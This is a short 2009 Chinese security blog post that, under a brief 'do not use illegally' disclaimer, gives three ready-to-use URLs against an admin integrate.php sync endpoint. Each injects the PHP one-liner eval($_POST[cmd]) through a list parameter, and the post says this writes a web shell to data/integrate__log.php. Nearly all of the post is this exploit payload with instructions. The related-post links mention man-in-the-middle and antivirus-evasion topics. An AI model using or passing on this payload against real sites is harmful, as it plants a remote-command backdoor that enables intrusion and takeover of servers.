飘零的代码 piao2010 ’s blog

请勿用于非法用途

利用方法：

http://www.xx. com/admin/integrate.php?act=sync&del_list=<?php%20eval($_POST[cmd])?>

htp://www.xx.  com/admin/integrate.php?act=sync&rename_list=<?php%20eval($_POST[cmd])?>

http://www.xx .com/admin/integrate.php?act=sync&ignore_list=<?php%20eval($_POST[cmd])?>

三个链接，随便输入一个就可以了，生成http://www.xx.com/data/integrate__log.php，就是一句话小马了~

相关日志

• 高级PHP应用程序漏洞审核技术 (0)
• 邪恶的空格-PHP本地文件包含漏洞的新突破口! (0)
• 运用sslstrip进行中间人攻击(Bypass https) (5)
• 谈谈自己对木马免杀认识(原创) (0)
• 脚本类IDS抵御针对WEB的攻击 (0)

Tags: security

This entry was posted on 星期六, 4月 11th, 2009 at 12:15 and is filed under 搬家之前. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.